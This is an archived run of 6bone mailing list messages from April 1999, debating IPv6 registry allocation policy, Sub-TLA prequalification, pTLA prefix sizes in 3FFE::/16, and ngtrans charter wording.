>can actually be broken down this way) to evaporate?
>
>Is this off-topic for this list?  If so, is it on-topic somewhere else?

I'd prefer we stick to the topic of 6bone prequalification for Sub-TLAs.
However, I'm not really sure where a good place to have these kind of
conversations is. Possibly some ICANN mail list? Anyone know?

Meanwhile, I'm concerned that we've had lots of social commentary about
registries, addresses, etc., but no comment on the process that was
proposed for 6bone prequalification for Sub-TLAs.


Until I hear direct comments to the contrary, I'm assuming that no one has
a porblem with the proposed process.


Thanks,

Bob



From 6bone-owner  Sun Apr 11 06:26:29 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Seth David Schoen <schoen@uclink4.berkeley.edu>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: History and economics of fees? (was: Re: 6bone Prequalification...) 
In-reply-to: Your message of Sat, 10 Apr 1999 12:15:02 PDT.
             <19990410121502.A6329@requiem.geecs.org> 
Date: Sun, 11 Apr 1999 15:26:21 +0200
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 In your previous mail you wrote:

   How did the regional NICs appear the first time around?

=> I know well the RIPE history: the idea of RIPE is the coordination
of IP networking in Europe (read RFC 1181). This has grown as the Internet
has grown then one time a permanent structure became necessary: the RIPE NCC.
When IANA delegated some parts of IPv4 address space to "Europe",
the RIPE NCC began to manage them and to distribute address blocks to
so-called "local IRs" which are now access ISPs but NCC fees are not
bound to address blocks, their purpose is make up for NCC costs...
I believe the ARIN history is very different (and short), the only
clear purpose of ARIN is to replace the IANA/InterNIC for IPv4 address
assignment/allocation in the "American" region.
   
   Brian Carpenter is right that these delegation and pricing issues
   aren't going to be solved suddenly on this list, but I'm curious about
   that part of the historical context.
   
=> the historical context is very important because some years ago
the idea of address fees was not imaginable. But now IPv4 addresses
are a rare resource (perhaps they are not but the important point is
one believes they are) and you can only buy them... Obviously this
should be transposed to IPv6 as it!

   At some time before the regional NICs, IPv4 addresses _were_
   "free"; the explanation I'm familiar with is that the InterNIC's
   registration services were being subsized by the US government.  While
   I certainly don't want to see a return to such a subsidy, I'm also
   very curious about the economics of the process; the fees have been
   said to exist in order to cover registries' costs (which makes sense)
   and also in order to conserve scarce IPv4 address space (which also
   makes sense).  But now IPv6 addresses are not scarce, at least not in
   the same sense that IPv4 addresses are.  Shouldn't this, as I've heard
   suggested, cause the scarcity portion of the fees (if registration
   fees can actually be broken down this way) to evaporate?
   
=> we agree.

   Is this off-topic for this list?  If so, is it on-topic somewhere else?
   
=> perhaps the 6bone list is not the good place but I don't know what
list to use about this topic and wordwide (ie not the RIPE IPv6 WG list).
The discussion is supposed to be about the 6bone prequalification idea.
I believe this is a good idea and most of the persons on the list agree.

Thanks

Francis.Dupont@inria.fr

From 6bone-owner  Sun Apr 11 08:22:21 1999
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		 <19990408022401.I2983@requiem.geecs.org>
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Bob

Bob Fink wrote:

> Until I hear direct comments to the contrary, I'm assuming that
> no one has
> a porblem with the proposed process.
>
> Thanks,
>
> Bob

I recall someone asking the  /29 vs /35 question.
whats the final fix on this ?

/pete


From 6bone-owner  Sun Apr 11 09:30:31 1999
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Date: Sun, 11 Apr 1999 09:28:29 -0700
To: Peter Dawson <peterdd@gto.net.om>
From: Bob Fink <fink@es.net>
Subject: Re: /29 vs /35
Cc: 6BONE List <6bone@ISI.EDU>
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References: <199904101547.RAA21071@givry.inria.fr>
 <19990408022401.I2983@requiem.geecs.org>
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Pete,

At 07:16 PM 4/11/99 +0400, Peter Dawson wrote:
...
>I recall someone asking the  /29 vs /35 question.
>whats the final fix on this ?

There was no resolution yet (many of us expressed our frustration to the
RIRs on it) and none of us have seen the revised RIR policy draft that
specified it to see if they are changing this.


Bob


From 6bone-owner  Sun Apr 11 09:42:15 1999
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Bob,
Bob Fink wrote:

> Pete,
>
> At 07:16 PM 4/11/99 +0400, Peter Dawson wrote:
> ...
> >I recall someone asking the  /29 vs /35 question.
> >whats the final fix on this ?
>
> There was no resolution yet (many of us expressed our
> frustration to the
> RIRs on it) and none of us have seen the revised RIR policy
> draft that
> specified it to see if they are changing this.
>
> Bob

OK. but when do we expect to see the revised
draft ?? b4 19 april ????

/pete



From 6bone-owner  Sun Apr 11 10:18:26 1999
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Date: Sun, 11 Apr 1999 09:56:31 -0700
To: Peter Dawson <peterdd@gto.net.om>
From: Bob Fink <fink@es.net>
Subject: Re: /29 vs /35
Cc: 6BONE List <6bone@ISI.EDU>
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References: <199904101547.RAA21071@givry.inria.fr>
 <19990408022401.I2983@requiem.geecs.org>
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Pete,

At 08:33 PM 4/11/99 +0400, Peter Dawson wrote:
...
>OK. but when do we expect to see the revised
>draft ?? b4 19 april ????

The last I heard was Daniel Karrenberg's comment to the 6bone list earlier
this week.

Bob

===
>To: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=) <kazu@iijlab.net>
>cc: 6bone@ISI.EDU, fink@es.net, kimh@arin.net, pwilson@apnic.net,
mir@ripe.net,
>        brian@hursley.ibm.com, hinden@iprg.nokia.com, deering@cisco.com,
>        tonyhain@microsoft.com, Alain.Durand@imag.fr, randy@psg.com,
>        WIJNEN@VNET.IBM.COM
>Subject: Re: 6bone Prequalification for Sub-TLA assignment 
>From: Daniel Karrenberg <Daniel.Karrenberg@ripe.net>
>Date: Tue, 06 Apr 1999 11:23:05 +0200
>
>
>  > Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
<kazu@iijlab.net> wr
>  > 
>  > How soon will be the next draft reissued? Note that the promise
>  > deadline, within two weeks, has passed.
>
>Quality goes before speed.  We had a lot of justified comments from
>-among others- you folks regarding the quality of the previous version.
>We want to spend enough time to not repeat those mistakes.  Please
>consider also that this needs local consultations as well as global
>coordination between the registries.  However we hope to have it out
>later this week.  I know that Kim Hubbard wants to discuss it at next
>week's ARIN membership meeting. 
>
>Regards
>
>Daniel



From 6bone-owner  Sun Apr 11 17:51:52 1999
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Date: Sun, 11 Apr 1999 17:49:33 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: edits on various web pages about ngtrans and 6bone relationship
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I've cleaned up various places on our web pages about the 6bone and its
relationship to ngtrans.

Please take a look (especially Jim :-) and let me know what I've missed.

Note that the ngtrans charter is being changed to the one shown on the
6bone pages about ngtrans:

	<http://www.6bone.net/ngtrans.html>


Thanks,

Bob


From 6bone-owner  Mon Apr 12 09:32:45 1999
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Date: Mon, 12 Apr 1999 12:32:38 -0400 (EDT)
From: Truman Boyes <truman@superlink.net>
To: Smirk35@aol.com
cc: 6bone@ISI.EDU
Subject: Re: 6bone Prequalification for Sub-TLA assignment
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On Mon, 5 Apr 1999 Smirk35@aol.com wrote:

> Pricing the block of addresses would deter the small business wanting a very 
> large block of IPv6.  Low cost on small blocks and tracking the number of 
> blocks by that company so as not to accumulate 100s of small blocks by the 
> same company.
> 
> Mark H. Bowen
> 

I think justification of allocation and assignment is always the way to
go. Cost should not be a factor in requesting of addresses. The current
procedures implemented by ARIN and other registries are working. Why
change ?

.truman.boyes.


From 6bone-owner  Mon Apr 12 16:36:22 1999
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Date: Mon, 12 Apr 1999 15:41:23 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Proposed change in 6bone pTLA 3FFE usage
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6bone Folk,

At the Minneapolis IETF I proposed changing the pTLA 3FFE:/16 usage to
allow future growth as the 6bone becomes used more for production. The
current usage specifices an 8-bit pTLA (prefix 3FFE:xx00::/24). This only
provides for 256 pTLAs, of which 55 are currently in use.

In addition, if 6bone prequalification for Sub-TLAs becomes a common
operational mode, we will need more pTLAs. 

The proposal I made in Minneapolis was for split usage of the pTLA space,
with the lower half of the space left for the current 8-bit pTLAs
(3FFE:0000::/24 thru 3FFE:7F00::/24, for a total of 128 8-bit pTLAs), and
the upper half for 13-bit pTLAs (3FFE:8000::/29 thru 3FFE:FFF8:/29 for a
total of 4096 13-bit pTLAs). As I remember, there was positive support for
this with the exception comment being the difficulty in specifying the
reverse path for the DNS given the 29 bit boundary.

One suggestion for this was to use a 12-bit pTLA (thus a /28 prefix) to
keep to a 4-bit boundary. My suggestion would be to use a full 16-bit pTLA
(thus a /32) as the remaining 16-bit NLA space, up to the site's 80-bit
space, is big enough for 6bone use. Also, we don't have to assign any more
pTLAs than we collectively deem reasonable.

Another (offline) suggestion was to use the /29 as a forcing factor to have
folks adopt the newer DNS bit specification method (I'm unfamiliar with
this and when it might appear).

Another question about this proposal is, do we leave the first half /24
usage as is, or make those folk renumber eventually to the bigger space?
Maybe this doesn't matter at the start, but I'd like opinions on this.

Your comments to the list please.


Thanks,

Bob




Thanks,

Bob 


From 6bone-owner  Tue Apr 13 08:13:27 1999
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To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage
References: <4.1.19990412082542.0095f880@imap2.es.net>
From: Magnus Ahltorp <map@stacken.kth.se>
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> Another (offline) suggestion was to use the /29 as a forcing factor to have
> folks adopt the newer DNS bit specification method (I'm unfamiliar with
> this and when it might appear).

This problem has been present for IPv4 since the advent of CIDR.
Solutions have been presented, but I haven't seen any deployment in
this area. I cannot see why using /29 prefixes in IPv6 would speed up
development/deployment of bit-level reverse delegations.

It would be good to have bit-level reverse delegations, but the idea
to, with purpose, increase the work load just to make it happen, is,
in my opinion, a bad one.

/Magnus

From 6bone-owner  Tue Apr 13 15:27:04 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904132226.SAA0000026741@quarry.zk3.dec.com>
To: Peter Dawson <peterdd@gto.net.om>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: /29 vs /35 
In-reply-to: Your message of "Sun, 11 Apr 1999 19:16:03 +0400."
             <3710BCB3.6BD3C0E7@gto.net.om> 
Date: Tue, 13 Apr 1999 18:26:57 -0400
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yep I asked the question
on /29 vs /35...

I think the answer was is still being debated..??

/jim

From 6bone-owner  Tue Apr 13 15:58:26 1999
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To: 6bone@ISI.EDU, ipv6-wg@ripe.net
cc: v6@ripe.net
Subject: new IPv6 policy draft - real soon now
Date: Wed, 14 Apr 1999 00:56:55 +0200
From: Mirjam Kuehne <mir@ripe.net>
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Dear colleagues,

We are aware that the promised deadline for the next IPv6 policy draft
has passed. We are sorry for that delay and thank you for your
patience.

The ARIN members met yesterday and today and were given the
opportunity to discuss the proposed policies. During this discussion
we received very good input. These comments are now being incorporated
in the new draft and we expect to send this new version out in a
couple of days.

Mirjam Kuehne
RIPE NCC




From 6bone-owner  Tue Apr 13 20:13:42 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904140310.XAA0000012402@quarry.zk3.dec.com>
To: Pete Loshin <pete@loshin.com>
cc: 6bone@ISI.EDU, Allison Mankin <mankin@ISI.EDU>,
        Bob Hinden <hinden@iprg.nokia.com>,
        Brian E Carpenter <brian@hursley.ibm.com>,
        Carolyn Obata <Carolyn.Obata@eng.sun.com>,
        Dave DeChellis <daved@crl.dec.com>,
        Dave Marquardt <marquard@austin.ibm.com>,
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        "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>,
        Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Richard Draves <richdr@microsoft.com>
Subject: Re: Quick questions (on a deadline) 
In-reply-to: Your message of "Tue, 13 Apr 1999 15:30:09 EDT."
             <37139B41.6737D859@loshin.com> 
Date: Tue, 13 Apr 1999 23:10:29 -0400
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Pete,

>- Any comments about relative importance of dual-IP vs tunneling vs
>NAT-PT for IPv4/IPv6 interoperability?

Yep.  We are working on it diligently.  We are not done yet.  We hope to
be done soon.  Right now to build any products on these technologies is
premature.  Prototypes yes.  Thats why I think ngtrans is now far more
important for cycles in the IETF than IPng at this time.  IMHO of course.

Users need to determine as I pointed out to you for the article what,
how, and when they want to transition and what is best for their
business model.

Multiple tools will be defined and some out of the IETF most likely that
will be added value.  But a user will have a range of tools to use just
like a carpenter, mason, or landscaper does in their tasks.  

Each of the tools are important you mentioned above IMO.  How they will
be used and by whom will be TBD when IPv6 deployment ramps up a bit more
than now.

I could see a case where all three are used in one organization
eventually.

/jim

From 6bone-owner  Wed Apr 14 02:57:05 1999
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Date: Wed, 14 Apr 1999 19:54:15 +1000
To: Mirjam Kuehne <mir@ripe.net>
From: Philip Smith <pfs@cisco.com>
Subject: Re: new IPv6 policy draft - real soon now
Cc: 6bone@ISI.EDU, ipv6-wg@ripe.net
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Hello Mirjam,

Can you or someone else who was at the meeting summarise the input received
from the ARIN community to the 6bone and ipv6-wg lists? For those not
present, the specific feedback would be most interesting/useful...

thanks!

philip
--

At 00:56 14/04/99 +0200, Mirjam Kuehne wrote:
>
>Dear colleagues,
>
>We are aware that the promised deadline for the next IPv6 policy draft
>has passed. We are sorry for that delay and thank you for your
>patience.
>
>The ARIN members met yesterday and today and were given the
>opportunity to discuss the proposed policies. During this discussion
>we received very good input. These comments are now being incorporated
>in the new draft and we expect to send this new version out in a
>couple of days.
>
>Mirjam Kuehne
>RIPE NCC
>
>
>


From 6bone-owner  Wed Apr 14 08:00:13 1999
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To: Philip Smith <pfs@cisco.com>
cc: 6bone@ISI.EDU, ipv6-wg@ripe.net
Subject: Re: new IPv6 policy draft - real soon now 
In-reply-to: Your message of Wed, 14 Apr 1999 19:54:15 +1000.
             <4.1.19990414195007.00a89350@lint.cisco.com> 
From: Mirjam Kuehne <mir@ripe.net>
X-Phone: +31 20 535 4444
Date: Wed, 14 Apr 1999 16:59:18 +0200
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Hi Philip,

A working group was created to discuss allocation policies.
This working group also discussede the initial allocation criteria
as proposed in the current draft (with participation on the 6bone added
as one criteria). 

The feedback was very positive, also regarding the slow start
mechanism.  We also received useful input regarding some of the
parameters in the allocation criteria, for example 12 for the number
of months within which IPv6 services will have to be provided and 
42 :-) for the number of customers the ISP has to have in one of the
other criteria (we'll probably round this up or down in the final
document :-)

I suggest to further discuss this when the new draft will be sent 
to the list in one of the next days.

Mirjam



 Philip Smith <pfs@cisco.com> writes:
  * Hello Mirjam,
  * 
  * Can you or someone else who was at the meeting summarise the input received
  * from the ARIN community to the 6bone and ipv6-wg lists? For those not
  * present, the specific feedback would be most interesting/useful...
  * 
  * thanks!
  * 
  * philip
  * --
  * 
  * At 00:56 14/04/99 +0200, Mirjam Kuehne wrote:
  * >
  * >Dear colleagues,
  * >
  * >We are aware that the promised deadline for the next IPv6 policy draft
  * >has passed. We are sorry for that delay and thank you for your
  * >patience.
  * >
  * >The ARIN members met yesterday and today and were given the
  * >opportunity to discuss the proposed policies. During this discussion
  * >we received very good input. These comments are now being incorporated
  * >in the new draft and we expect to send this new version out in a
  * >couple of days.
  * >
  * >Mirjam Kuehne
  * >RIPE NCC
  * >
  * >
  * >
  * 
  * 

From 6bone-owner  Thu Apr 15 01:30:48 1999
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Message-ID: <007b01be871a$94822850$140175c2@ip6.fc.ul.pt>
From: "Miguel Rosa" <mrosa@fc.ul.pt>
To: "6BONE List" <6bone@ISI.EDU>, "Bob Fink" <fink@es.net>
References: <4.1.19990412082542.0095f880@imap2.es.net>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage
Date: Thu, 15 Apr 1999 09:33:01 +0100
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> One suggestion for this was to use a 12-bit pTLA (thus a /28 prefix) to
> keep to a 4-bit boundary.

> Another (offline) suggestion was to use the /29 as a forcing factor to
have
> folks adopt the newer DNS bit specification method (I'm unfamiliar with
> this and when it might appear).
>
> Another question about this proposal is, do we leave the first half /24
> usage as is, or make those folk renumber eventually to the bigger space?
> Maybe this doesn't matter at the start, but I'd like opinions on this.
>
> Your comments to the list please.

The idea of using 12-bit pTLA seems good enough. We would have, for now, 128
pTLAS in the first half (prefix 3FFE:xx00::/24 for xx bettween 00 and 7F)
and 2048 in the second (prefix 3FFE:xxx0::/24 for xxx bettween 800 and FFF).
Then, there would be a recommendation for the current xx be converted to the
best xxx that they would like (i.e., gives them less trouble to convert).

We would increasingly have the 4096 pTLA capacity after all conversions and
not have to worry about the DNS problem because I'm also with Magnus about
all that he says, although it would be great to have bit-level reverse
delegations.

Miguel Rosa
mrosa@fc.ul.pt
http://www.ip6.fc.ul.pt



From 6bone-owner  Thu Apr 15 03:37:25 1999
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To: David Kessens <david@Qwest.net>
Cc: Philip Smith <pfs@cisco.com>, 6bone@ISI.EDU, ipv6-wg@ripe.net,
        emayhugh@McLeodUSA.com
Subject: Re: new IPv6 policy draft - real soon now 
In-reply-to: Your message of Wed, 14 Apr 1999 13:13:11 MDT.
             <19990414131311.B1310@qwest.net> 
From: Mirjam Kuehne <mir@ripe.net>
X-Phone: +31 20 535 4444
Date: Thu, 15 Apr 1999 12:36:01 +0200
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Hi David,

thanks for adding some details.

 David Kessens <david@Qwest.net> writes:
  * 
  * Mirjam,
  * 
  * On Wed, Apr 14, 1999 at 04:59:18PM +0200, Mirjam Kuehne wrote:
  * > 
  * > A working group was created to discuss allocation policies.
  * > This working group also discussede the initial allocation criteria
  * > as proposed in the current draft (with participation on the 6bone added
  * > as one criteria). 
  * 
  * The wg was (interim-)chaired by: Sandra Reimer from McLeadUSA. I hope
  * we will be able to get the minutes from her as soon as possible.
  * 
  * > The feedback was very positive, also regarding the slow start
  * > mechanism.  We also received useful input regarding some of the
  * > parameters in the allocation criteria, for example 12 for the number
  * > of months within which IPv6 services will have to be provided and 
  * > 42 :-) for the number of customers the ISP has to have in one of the
  * > other criteria (we'll probably round this up or down in the final
  * > document :-)
  * 
  * It was my impression that the number of 42 was the optimal number and
  * that nobody wanted to have anything less/more ;-). There is no reason
  * to start playing again with those numbers. Another point that was
  * discussed was the removal of the condition entirely since the other
  * condition (intent to provide IPv6 service) was easier to qualify for
  * anyways.
  * 
  * The biggest concern left was the slow start procedure within the sTLA.
  * It was discussed at length but no agreement could be reached. The
  * registries want to have some kind of control against allocations that
  * are given out that are not used as they are supposed to be used, while

One other reason is that if all organisations/networks have the same
prefix length ISPs will have difficulties to make rationale routing
decisions if that may be necessary in the future.

Mirjam

  * at the same time most customers of the registries would obviously like
  * to have maximum freedom & minimal paperwork. The registries asked for
  * alternatives that would have the same effect - one of the variations
  * that was discussed, was to make the slow start even slower (eg.: you
  * can only assign a very small number of NLAs before returning to the
  * registry), and to allocate the full space soon thereafter. It was
  * agreed that more discussion this topic would be needed.
  * 
  * David K.
  * ---
  * 

From 6bone-owner  Thu Apr 15 05:51:30 1999
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Date: Thu, 15 Apr 1999 13:48:12 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: Mirjam Kuehne <mir@ripe.net>
CC: David Kessens <david@Qwest.net>, Philip Smith <pfs@cisco.com>,
        6bone@ISI.EDU, ipv6-wg@ripe.net, emayhugh@McLeodUSA.com
Subject: Re: new IPv6 policy draft - real soon now
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>   * The biggest concern left was the slow start procedure within the sTLA.
>   * It was discussed at length but no agreement could be reached. The
>   * registries want to have some kind of control against allocations that
>   * are given out that are not used as they are supposed to be used, while
> 
> One other reason is that if all organisations/networks have the same
> prefix length ISPs will have difficulties to make rationale routing
> decisions if that may be necessary in the future.

Well hang on a moment. sTLAs are intended for ISPs and exchange
points, and we're expecting them all to show up in the default-free
table. I don't see your point.

  Brian

From 6bone-owner  Thu Apr 15 07:08:30 1999
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Date: Thu, 15 Apr 1999 07:08:03 -0700
To: Brian E Carpenter <brian@hursley.ibm.com>
From: Bob Fink <fink@es.net>
Subject: Re: new IPv6 policy draft - real soon now
Cc: David Kessens <david@Qwest.net>, Philip Smith <pfs@cisco.com>,
        6bone@ISI.EDU, ipv6-wg@ripe.net, emayhugh@McLeodUSA.com,
        Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter <brian@hursley.ibm.com>,
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Brian,

At 01:48 PM 4/15/99 +0100, Brian E Carpenter wrote:
>>   * The biggest concern left was the slow start procedure within the sTLA.
>>   * It was discussed at length but no agreement could be reached. The
>>   * registries want to have some kind of control against allocations that
>>   * are given out that are not used as they are supposed to be used, while
>> 
>> One other reason is that if all organisations/networks have the same
>> prefix length ISPs will have difficulties to make rationale routing
>> decisions if that may be necessary in the future.
>
>Well hang on a moment. sTLAs are intended for ISPs and exchange
>points, and we're expecting them all to show up in the default-free
>table. I don't see your point.

It is a built in discriminator for the future. That is, if in the future
the larger ISPs with sTLAs decide to not carry routes for lesser sTLAs,
they make their cut on length of prefix. I've been getting lots of flack
from ESnet engineering staff for having any such built in discriminator (as
if I had a choice :-). I had been skeptical at first that this was the
intent, but increasingly I see that their fears are justified by comments
such as Mirjam's.

TO say the least, I don't like it. It is basically the large (which often
means more financially influential) being able to automatically
discriminate against small. If it was simply a way to avoid ultra large
routing tables, maybe it could be justified, but the hidden agenda that
appears more and more in the v4 world is for large ISPs to muscle the
smaller into paying for peering/connectivity.

It would be nice if v6 could stay as neutral as possible on this, and at
least not give overtly obvious ways to encourage such behaviour.


Bob


From 6bone-owner  Thu Apr 15 07:23:13 1999
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <199904151423.KAA0000024910@quarry.zk3.dec.com>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>, bound@zk3.dec.com
Subject: Re: edits on various web pages about ngtrans and 6bone relationship 
In-reply-to: Your message of "Sun, 11 Apr 1999 17:49:33 PDT."
             <4.1.19990411174725.00961f10@imap2.es.net> 
Date: Thu, 15 Apr 1999 10:23:07 -0400
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Hi Bob,

>I've cleaned up various places on our web pages about the 6bone and its
>relationship to ngtrans.
>
>Please take a look (especially Jim :-) and let me know what I've missed.

>Note that the ngtrans charter is being changed to the one shown on the
>6bone pages about ngtrans:
>
>	<http://www.6bone.net/ngtrans.html>

>3. Coordinating with the IPv6 6bone testbed, operating under the IPv6
>   Testing Address Allocation allocated in Experimental RFC 2471, to 
>    foster the development, testing, and deployment of IPv6.

I would change to:

3. Coordinating with the IPv6 6bone testbed, operating under the IPv6
   Testing Address Allocation allocated in Experimental RFC 2471, to 
    foster the development, testing, and deployment of IPv6.
    ^^^^^^
    assist

I think "foster" sounds like one owns the thing.  assist is really what
is happening. 

On the IETF WEB Page Charter.

I am find with paragraph '1' on the web page.

>2. Define and specify the mandatory and optional mechanisms that vendors
>are to implement in
>hosts, routers, and other components of the Internet in order for the
>transition to be carried out.
>Dual protocol stack, encapsulation and header translation mechanisms
>must all be defined, as well
>as the interaction between hosts using different combinations of these
>mechanisms. The
>specifications produced will be used by people implementing these IPv6
>systems

In the above we need to not send the message that any vendor MUST
implement all of these tools.  If you implement the tool then some MUST
will apply.  But the tool is optional.  SIT should be mandatory I agree
and I think it is.  I think you did that in the first sentence.  More
clarity may be provided by adding the adverbial clause below:

"Define and specify the mandatory and optional mechanisms, and the
mandatory parts of optional mechanisms, that vendors are to implement in
hosts, routers.....etc...

>3.. Articulate a concrete operational plan for transitioning from IPv4 to
>IPv6. The result of this
>work will be a transition plan for the Internet that network operators
>and Internet subscribers can
>execute.

I think this is a tall order as stated and unrealistic.  How about:

3.  Articulate a concrete operational plan for the initial interoperation 
and eventual transition from IPv4 to IPv6.  The result of this work will
be a transitional guideline for the Internet and network operators, and
one which Internet subscribers can execute.

I really like Section 4 (note the word "assist" is used here too) and
Section 5 is obvious.

thanks
/jim

From 6bone-owner  Thu Apr 15 07:59:27 1999
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Date: Thu, 15 Apr 1999 15:52:21 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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MIME-Version: 1.0
To: Bob Fink <fink@es.net>
CC: David Kessens <david@Qwest.net>, Philip Smith <pfs@cisco.com>,
        6bone@ISI.EDU, ipv6-wg@ripe.net, emayhugh@McLeodUSA.com,
        Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Alain Durand <Alain.Durand@imag.fr>
Subject: Re: new IPv6 policy draft - real soon now
References: <199904151036.MAA26722@birch.ripe.net> <4.1.19990415065727.01be94e0@imap2.es.net>
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Right. Well, I still want to see the revised text before I
rush to judgement.

   Brian

Bob Fink wrote:
> 
> Brian,
> 
> At 01:48 PM 4/15/99 +0100, Brian E Carpenter wrote:
> >>   * The biggest concern left was the slow start procedure within the sTLA.
> >>   * It was discussed at length but no agreement could be reached. The
> >>   * registries want to have some kind of control against allocations that
> >>   * are given out that are not used as they are supposed to be used, while
> >>
> >> One other reason is that if all organisations/networks have the same
> >> prefix length ISPs will have difficulties to make rationale routing
> >> decisions if that may be necessary in the future.
> >
> >Well hang on a moment. sTLAs are intended for ISPs and exchange
> >points, and we're expecting them all to show up in the default-free
> >table. I don't see your point.
> 
> It is a built in discriminator for the future. That is, if in the future
> the larger ISPs with sTLAs decide to not carry routes for lesser sTLAs,
> they make their cut on length of prefix. I've been getting lots of flack
> from ESnet engineering staff for having any such built in discriminator (as
> if I had a choice :-). I had been skeptical at first that this was the
> intent, but increasingly I see that their fears are justified by comments
> such as Mirjam's.
> 
> TO say the least, I don't like it. It is basically the large (which often
> means more financially influential) being able to automatically
> discriminate against small. If it was simply a way to avoid ultra large
> routing tables, maybe it could be justified, but the hidden agenda that
> appears more and more in the v4 world is for large ISPs to muscle the
> smaller into paying for peering/connectivity.
> 
> It would be nice if v6 could stay as neutral as possible on this, and at
> least not give overtly obvious ways to encourage such behaviour.
> 
> Bob

From 6bone-owner  Thu Apr 15 08:29:26 1999
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Date: Thu, 15 Apr 1999 08:16:19 -0700
To: Jim Bound <bound@zk3.dec.com>
From: Bob Fink <fink@es.net>
Subject: Re: edits on various web pages about ngtrans and 6bone
  relationship 
Cc: 6BONE List <6bone@ISI.EDU>
In-Reply-To: <199904151423.KAA0000024910@quarry.zk3.dec.com>
References: <Your message of "Sun, 11 Apr 1999 17:49:33 PDT."             <4.1.19990411174725.00961f10@imap2.es.net>
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Jim,

Thanks for the comments. The stuff on the IETF web page is the old stuff
and will change to look like the stuff on the 6bone/ngtrans page. I will be
mailing this to the list today or tomorrow.

As for the 'foster' versus 'assist', I think it doesn't matter, but also
don't really care. Let's wait for the mailing of the charter and see who
else comments.


Bob

At 10:23 AM 4/15/99 -0400, Jim Bound wrote:
>Hi Bob,
>
>>I've cleaned up various places on our web pages about the 6bone and its
>>relationship to ngtrans.
>>
>>Please take a look (especially Jim :-) and let me know what I've missed.
>
>>Note that the ngtrans charter is being changed to the one shown on the
>>6bone pages about ngtrans:
>>
>>	<http://www.6bone.net/ngtrans.html>
>
>>3. Coordinating with the IPv6 6bone testbed, operating under the IPv6
>>   Testing Address Allocation allocated in Experimental RFC 2471, to 
>>    foster the development, testing, and deployment of IPv6.
>
>I would change to:
>
>3. Coordinating with the IPv6 6bone testbed, operating under the IPv6
>   Testing Address Allocation allocated in Experimental RFC 2471, to 
>    foster the development, testing, and deployment of IPv6.
>    ^^^^^^
>    assist
>
>I think "foster" sounds like one owns the thing.  assist is really what
>is happening. 
>
>On the IETF WEB Page Charter.
>
>I am find with paragraph '1' on the web page.
>
>>2. Define and specify the mandatory and optional mechanisms that vendors
>>are to implement in
>>hosts, routers, and other components of the Internet in order for the
>>transition to be carried out.
>>Dual protocol stack, encapsulation and header translation mechanisms
>>must all be defined, as well
>>as the interaction between hosts using different combinations of these
>>mechanisms. The
>>specifications produced will be used by people implementing these IPv6
>>systems
>
>In the above we need to not send the message that any vendor MUST
>implement all of these tools.  If you implement the tool then some MUST
>will apply.  But the tool is optional.  SIT should be mandatory I agree
>and I think it is.  I think you did that in the first sentence.  More
>clarity may be provided by adding the adverbial clause below:
>
>"Define and specify the mandatory and optional mechanisms, and the
>mandatory parts of optional mechanisms, that vendors are to implement in
>hosts, routers.....etc...
>
>>3.. Articulate a concrete operational plan for transitioning from IPv4 to
>>IPv6. The result of this
>>work will be a transition plan for the Internet that network operators
>>and Internet subscribers can
>>execute.
>
>I think this is a tall order as stated and unrealistic.  How about:
>
>3.  Articulate a concrete operational plan for the initial interoperation 
>and eventual transition from IPv4 to IPv6.  The result of this work will
>be a transitional guideline for the Internet and network operators, and
>one which Internet subscribers can execute.
>
>I really like Section 4 (note the word "assist" is used here too) and
>Section 5 is obvious.
>
>thanks
>/jim



From 6bone-owner  Thu Apr 15 09:48:53 1999
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Date: Thu, 15 Apr 1999 17:45:38 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
X-Mailer: Mozilla 4.04 [en] (Win95; I)
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To: Daniel Karrenberg <Daniel.Karrenberg@ripe.net>
CC: Bernard TUY <Bernard.Tuy@urec.cnrs.fr>, mir@ripe.net, david@Qwest.net,
        pfs@cisco.com, 6bone@ISI.EDU, ipv6-wg@ripe.net, emayhugh@McLeodUSA.com
Subject: Re: new IPv6 policy draft - real soon now
References: <199904151314.PAA17232@titan.urec.fr> <199904151624.SAA14930@birch.ripe.net>
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Daniel,

The point is that unless we are collectively foolish, IPv6 will
not have a disaggregation problem - it starts out classless
and provider-based, and dual homing will in the end be solved
by dual prefixes. I really can't see why we would *need* prefix
length based discrimination as we do for IPv4.

   Brian

Daniel Karrenberg wrote:
> 
>   > Bernard.Tuy@urec.cnrs.fr (Bernard TUY) writes:
>   > ====BT: moreover, one can imagine carriers will be able to aggregate ISPs p
>   > refixes.
>   >     If they've got different legnth ones, I don't know how to achieve this.
> 
> Aggregation is governed by topology and allocation policy.
> Hierarchy helps aggregation. I do not see how equal prefix length
> helps aggregation. Please explain.
> 
> Daniel

From 6bone-owner  Thu Apr 15 10:31:46 1999
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Date: Thu, 15 Apr 1999 10:31:28 -0700
To: Daniel Karrenberg <Daniel.Karrenberg@ripe.net>
From: Bob Fink <fink@es.net>
Subject: Re: new IPv6 policy draft - real soon now 
